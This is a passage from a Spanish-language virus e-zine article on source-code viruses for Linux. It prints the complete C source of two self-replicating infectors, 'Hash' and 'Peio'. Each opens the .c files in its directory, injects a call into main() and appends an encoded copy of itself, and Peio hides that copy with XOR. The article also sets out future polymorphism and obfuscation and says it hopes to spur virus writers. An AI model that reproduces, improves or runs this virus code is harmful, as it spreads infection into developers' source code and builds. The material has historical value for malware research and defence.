'\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashend[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\");\n\t\t\t\t\tbhole += 3;\n\n\t\t\t\t\tehole = strlen(hashend);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, hashend, ehole);\n\t\t\t\t\tmsync(ptr, size+page, MS_SYNC);\n\t\t\t\t\tmunmap(ptr, size+page);\n\t\t\t\t\tftruncate(fd, size+ihole+thole+bhole+ehole);\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t}\n\t\t\t}\n}\n";
	char *buf;

	d = opendir(".");
	while((dir = readdir(d))>0)
		if(!(strcmp(dir->d_name+strlen(dir->d_name)-2,".c"))||
		   !(strcmp(dir->d_name+strlen(dir->d_name)-2,".C"))) 
			if((fd=open(dir->d_name, O_RDWR, 0))>=0)
			{
				size = lseek(fd, 0, SEEK_END);
				ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
				if( (!strstr(ptr,"init_hash")) &&
				  ( ((mpos=(int)strstr(ptr,"\nmain("))>0) ||
				    ((mpos=(int)strstr(ptr,"\nint main("))>0) ||
				    ((mpos=(int)strstr(ptr,"\nvoid main("))>0) || 
				    ((mpos=(int)strstr(ptr,"\nmain ("))>0) ||
				    ((mpos=(int)strstr(ptr,"\nint main ("))>0) ||
				    ((mpos=(int)strstr(ptr,"\nvoid main ("))>0) ) )
				{
					mpos = (int)strstr((void *)mpos, ";\n");
					mpos -= (int)--ptr;
					if( !(ipos = (int)strstr(++ptr, "#include <")) )
					{
						munmap(ptr, size);
						break;
					}
					munmap(ptr, size);
					page = 3 * (int)sysconf(_SC_PAGESIZE);
					ftruncate(fd, size+page);
					ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
					ipos = (int)strstr(ptr, "#include <");
					ipos = (int)strstr((void *)ipos, "\n\n");
					ipos -= (int)ptr;
					ihole = strlen(hashinc);
					for(i=(size-ipos)/ihole;i>=0;i--) 
						memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
					memcpy(ptr+ipos, hashinc, ihole);
					mpos += ihole;
					buf = (char *)malloc(20*sizeof(char));
					strcpy(buf,"\n\tinit_hash();");
					thole = strlen(buf);
					for(i=(size+ihole-mpos)/thole;i>=0;i--) 
						memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
					memcpy(ptr+mpos, buf, thole);
					bhole = strlen(hashbeg);
					memcpy(ptr+size+ihole+thole, hashbeg, bhole);
					
					/* declaracion de arrays y arrays */
					buf = (char *)malloc(100*sizeof(char)+strlen(hashinc));
					for(i=0,j=0;i<strlen(hashinc);i++,j++)
						switch(hashinc[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashinc[i]);
						} 
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] =\"");
					bhole += 21;
					buf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));
					for(i=0,j=0;i<strlen(hashbeg);i++,j++)
						switch(hashbeg[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashbeg[i]);
						} 
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] =\"");
					bhole += 21;
					buf = (char *)malloc(100*sizeof(char)+strlen(hashend));
					for(i=0,j=0;i<strlen(hashend);i++,j++)
						switch(hashend[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashend[i]);
						} 
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n");
					bhole += 3;

					ehole = strlen(hashend);
					memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
					msync(ptr, size+page, MS_SYNC);
					munmap(ptr, size+page);
					ftruncate(fd, size+ihole+thole+bhole+ehole);
				} else
				{
					munmap(ptr, size);
				}
			}
}
<--------------------------------------------------------------------------->
<-end of hash.c------------------------------------------------------------->
<--------------------------------------------------------------------------->

En este ejemplo, los hashes estn en texto plano y corresponden a  los
format strings necesarios para generar  cada uno de los fragmentos  de
cdigo necesarios  para la  infeccin. A  pesar de  lo aparatoso de su
tamao,  los  hashes  ocuparn  bastante  menos  dentro  del  programa
ejecutable, porque todos  los caracteres de  escape se reducirn  a un
byte.  Como contrapartida,  deberemos introducir  el cdigo  necesario
para volver a generar los  dos chars que especifican cada  carcter de
escape (contemplndose nicamente '\t', '\n', '\\' y '\"').

El resto del cdigo es similar al ejemplo anterior, sin embargo  ahora
utilizamos las posibilidades que nos brinda Linux en cuanto a mapeo de
ficheros en memoria mediante la syscall mmap, para agilizar el parcheo
de los ficheros. Inicialmente reservamos  3 pginas ms que el  tamao
del fichero original y vamos  llevando un seguimiento del espacio  que
realmente utilizamos, para truncar el fichero a ese tamao cuando todo
el movimiento de bytes haya concluido.

Todo lo dems son copias de  bytes dentro de la zona de  memoria donde
reside el fichero, mediante memcpy().  El uso de mmap() y  memcpy() en
lugar de open(), write() y lseek() agiliza la modificacin de ficheros
enormemente.

Por ltimo, el infector "Peio" utiliza las mismas tcnicas que "Hash",
pero  en  este caso  los  hashes estn  XOReados,  por lo  que  pueden
utilizarse  caracteres  de  escape  como '\t'  o  '\n'  sin  tener que
indicarlo as.  De esta  manera, el  tamao de  los array  de hash  se
reduce  considerablemente, adems  de no  precisar del  cdigo que  se
encarga de volver a traducir a dos bytes cada carcter de escape.

<--------------------------------------------------------------------------->
<-peio.c-------------------------------------------------------------------->
<--------------------------------------------------------------------------->

/*
 * Peio,
 *    
 * source code infector XORing hashes.
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>

void init_hash(); 

int main(int argc, char *argv[])
{
	init_hash();
}

void init_hash()
{
	int i, j, fd, size, mpos, ipos, page, 
	ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
	void *ptr;
	char hashinc[] = " 1/4(r)3/4 1/4(r)3/4 1/4(r)3/4 1/4(r)3/4 1/4(r)3/4 1/4(r)3/4 (c)" ";
	char hashbeg[] = " (c)           "   "  " "  1/2 ";
	char hashend[] = " " 1/2 (r)(c)"娨 1/2 (c)(c)3/4(c)模3/4"3/4(c)(r)(c)(c)   3/4"3/4(c)(r)â(c)(c)(c) 樨1/23/4 Ҭ (c)(c)3/41/2(c) 1/2   (c)" 1/2 ̬ĬŬ䬰(c)" (c)(c)    1/2(c)(c)(c)3/4(c)     1/2(c) (c)(c)3/4(c)     1/2(c) (c)(c)3/4(c)      1/2(c) (c)(c)3/4(c)     1/2(c)  (c)(c)3/4(c)     1/2(c)  (c)(c)3/4(c) (c) (c) 1/2 (c) (c) "(c)" 1/2 (c)"  1/2 (c)""  1/4(c)(c) (c) (c)"" (c)" 1/2   (c)(c)" "(c)" 1/2 ̬""ŬĬ䬰(c)" 1/2 (c)  1/4(c)" 1/2 (c) (c) (c)" 1/2 (c)"1/2"1/4(c)"""(c) 1/2 "1/2"1/4(c)"""(c) 1/2 " 1/2 (c)"1/2(c)"3/41/2"魭(c) """ "" (c)""  (c)"1/2"1/4(c)"""(c) 1/2 " "1/2 " 1/2  (c)㨲(c)(c)"欢(c)"(c)" 1/2 (c)"1/2"(c)"3/41/2"魭(c) """ "" (c)""  (c)" 1/2 (c)""""  (c)"""""  (c)" "1/2 """"" ܢ"  1/2 ܢ(c)" "1/2 "1/2"1/4(c)"""(c) 1/2 """""  (c)(c)" "1/2 (c)""""" ܢ"  1/2 ܢ(c)" "1/2 """""  (c)(c)" "1/2 (c)""""" ܢ"(c)" "1/2 "1/2"1/4(c)"""(c) 1/2 " 1/2 (c)"""""  (c)" " (c)" "(c)" """"(c)" 劉 (c)"";
	char *buf;

	d = opendir(".");
	while((dir = readdir(d))>0)
		if(!(strcmp(dir->d_name+strlen(dir->d_name)-2,".c"))||
		   !(strcmp(dir->d_name+strlen(dir->d_name)-2,".C"))) 
			if((fd=open(dir->d_name, O_RDWR, 0))>=0)
			{
				size = lseek(fd, 0, SEEK_END);
				ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
				if( (!strstr(ptr,"init_hash")) &&
				  ( ((mpos=(int)strstr(ptr,"\nmain("))>0) ||
				    ((mpos=(int)strstr(ptr,"\nint main("))>0) ||
				    ((mpos=(int)strstr(ptr,"\nvoid main("))>0) || 
				    ((mpos=(int)strstr(ptr,"\nmain ("))>0) ||
				    ((mpos=(int)strstr(ptr,"\nint main ("))>0) ||
				    ((mpos=(int)strstr(ptr,"\nvoid main ("))>0) ) )
				{
					mpos = (int)strstr((void *)mpos, ";\n");
					mpos -= (int)--ptr;
					if( !(ipos = (int)strstr(++ptr, "#include <")) )
					{
						munmap(ptr, size);
						break;
					}
					munmap(ptr, size);
					page = 3 * (int)sysconf(_SC_PAGESIZE);
					ftruncate(fd, size+page);
					ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
					ipos = (int)strstr(ptr, "#include <");
					ipos = (int)strstr((void *)ipos, "\n\n");
					ipos -= (int)ptr;
					for(i=0;i<strlen(hashinc);i++)
						hashinc[i] ^= 0x80;
					for(i=0;i<strlen(hashbeg);i++)
						hashbeg[i] ^= 0x80;
					ihole = strlen(hashinc);
					for(i=(size-ipos)/ihole;i>=0;i--) 
						memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
					memcpy(ptr+ipos, hashinc, ihole);
					for(i=0;i<strlen(hashinc);i++)
						hashinc[i] ^= 0x80;
					mpos += ihole;
					buf = (char *)malloc(20*sizeof(char));
					strcpy(buf,"\n\tinit_hash();");
					thole = strlen(buf);
					for(i=(size+ihole-mpos)/thole;i>=0;i--) 
						memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
					memcpy(ptr+mpos, buf, thole);
					bhole = strlen(hashbeg);
					memcpy(ptr+size+ihole+thole, hashbeg, bhole);
					memcpy(ptr+size+ihole+thole+bhole, hashinc, ihole);
					bhole += ihole;
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] = \"");
					bhole += 22;
					for(i=0;i<strlen(hashbeg);i++)
						hashbeg[i] ^= 0x80;
					memcpy(ptr+size+ihole+thole+bhole, hashbeg, strlen(hashbeg));
					bhole += strlen(hashbeg);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] = \"");
					bhole += 22;
					memcpy(ptr+size+ihole+thole+bhole, hashend, strlen(hashend));
					bhole += strlen(hashend);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n");
					bhole += 3;
					for(i=0;i<strlen(hashend);i++)
						hashend[i] ^= 0x80;
					ehole = strlen(hashend);
					memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
					msync(ptr, size+page, MS_SYNC);
					munmap(ptr, size+page);
					ftruncate(fd, size+ihole+thole+bhole+ehole);
				} else
				{
					munmap(ptr, size);
				}
			}
}
<--------------------------------------------------------------------------->
<-end of peio.c------------------------------------------------------------->
<--------------------------------------------------------------------------->

Como vemos, los hashes estn  XOReados con 80h, y para  poder escribir
el cdigo  en el  fichero destino,  hay que  volver a  XORearlos. Esta
manera de guardar los hashes abre  una va al polimorfismo, ya que  en
cada generacin, la clave de encriptacin con XOR podra variar  desde
80h hasta FFh.


4.4.- Desarrollos futuros

Estos  ejemplos no  son "fuego  real", hay  numerosas imprecisiones  y
fallos en el cdigo comentado. No obstante, seguimos en desarrollo  de
estos y nuevos ejemplos, tratando de incorporar ms funcionalidades  o
nuevos enfoques.

Sobre todo, la parte ms  escandalosa es la relacionada con  el tamao
del los arrays que contienen  el cdigo que queremos incluir.  Resulta
problemtico tratar de imprimir algunos  chars que caen dentro de  las
32 primeras posiciones en la tabla ASCII, por lo que hay que  observar
cmo se resuelve  este problema en  otros escenarios como  el envo de
correo  electrnico o  las news.  En este  sentido podemos  contemplar
varias posibilidades:

1) El uso de uuencode/uudecode.

2) El uso de base64.

3) El uso de  yEnc [14], una alternativa  a los dos puntos  anteriores
que utiliza ASCII > 127, pero consigue evitar los chars  problemticos
(como NULL, DEL, etc.).

4) El uso de protocolos de  conversin de arrays de chars propios  con
combinaciones de XORs, sumas, etc. mejorados, que incluyan  compresin
simple como pueda ser RLE.

Adems de estas mejoras, podramos pensar en incorporar  oligomorfismo
a  los  programas  creando  varias  rutinas  y  "cifrando"  con claves
aleatorias  en  cada generacin  y  varias rutinas  de  descifrado. Se
presta mucho a este enfoque el virus "Peio", donde las posibles claves
hacen que  existan 127  combinaciones diferentes  a la  hora de  crear
hashes.

Como pasos ms posteriores los esfuerzos podran encaminarse hacia  la
ofuscacin  total  del  cdigo vrico,  introduccin  de  dicho cdigo
intercalado en el cdigo original, o generacin mediante instrucciones
y funciones  de los  arrays que  contienen el  cdigo (se  trata de un
nmero muy  grande, podramos  crear cdigo  cuyo resultado  fuese ese
nmero y as no almacenarlo, sino generarlo cada vez).


5.- Conclusiones

Los virus de cdigo fuente  no son una amenaza muy  seria actualmente,
pero si se  perfeccionan las tcnicas  comentadas, podran dar  de qu
hablar.  Existen  muchos mtodos  para  auditar la  integridad  de los
ficheros  en  disco  como  md5sum,  tripwire,  etc.  Sin  embargo,  si
extendemos la paranoia a todo bit que pase por nuestros circuitos,  la
amenaza de un primer  compilador troyanizado todava sobrevuela  entre
los sistemas UNIX.

Me gustara que  este texto sirviera  para reflexionar acerca  de este
tema  y que  motivase a  escritores de  virus a  desarrollar nuevas  y
mejores tcnicas. No obstante,  me considero un afrrimo  defensor del
Software Libre  y de  lo planteado  por la  Free Software  Fundation y
quisiera que este cdigo sirviera para aumentar la seguridad dentro de
la comunidad del software de cdigo abierto y no para lo contrario.

Para  terminar  me gustara  agradecer  a todos  aquellos  que me  han
ayudado a escribir esto: la gente  de int80h, a elisasm, a silviex,  a
sheroc, a un joven samurai, y sobre todo a toda el grupo 29a que sigue
ao tras  ao al  pie del  can. Gracias  VirusBuster por  permitirme
escribir en  el e-zine  vrico ms  prestigioso del  mundo. Gracias de
veras ;-)


6.- Enlaces de inters

[1] Free Software Song 
  http://www.gnu.org/music/free-software-song.html

[2] Linux Malware: Debunking the myths. Phil d'Espace. Virus Bulletin, September - 2002
  http://www.virusbtn.com/magazine/archives/200209/linux_malware.xml

[3] BitchX 1.0c19 IRC Client Backdoored.
  http://slashdot.org/article.pl?sid=02/07/02/1327208&mode=thread
  http://www.securityfocus.com/archive/1/280009/2002-06-28/2002-07-04/0

[4] Clues, Vandalism, Litter Sendmail Trojan Trail.
  http://www.securityfocus.com/news/1113
  http://cert-nl.surfnet.nl/i/2002/I-02-03.htm

[5] Virus Encyclopedia, File Viruses, DOS: Urphin.1621.
  http://www.viruslist.com/eng/VirusList.asp?page=0&mode=1&id=2414&key=000010000102404

[6] The History of Computer Viruses.
  http://www.virus-scan-software.com/virus-scan-help/answers/the-history-of-computer-viruses.shtml

[7] Die-hard virus.
  http://www.pspl.com/virus_info/dos/diehard.htm

[8] OBJ, LIB Viruses and Source Code Viruses.
  http://www.viruslist.com/eng/viruslistbooks.html?id=36

[9] Shell viruses. Gobleen Warrior & zert.
  http://29a.host.sk/29a-6/29a-6.212

[10] Polymorphism/Encryption/EPO in Perl Viruses. SnakeByte.
  http://29a.host.sk/29a-6/29a-6.220

[11] Reflections on Trusting Trust. Ken Thompson.
  http://www.acm.org/classics/sep95/

[12] Linux Security Auditing: Re: Reflections on Trusting Trust.
  http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0222.html
  http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0226.html

[13] Shared Source: A Dangerous Virus.
  http://www.opensource.org/advocacy/shared_source.php

[14] yEnc - Broken Tools.
  http://www.yenc.org

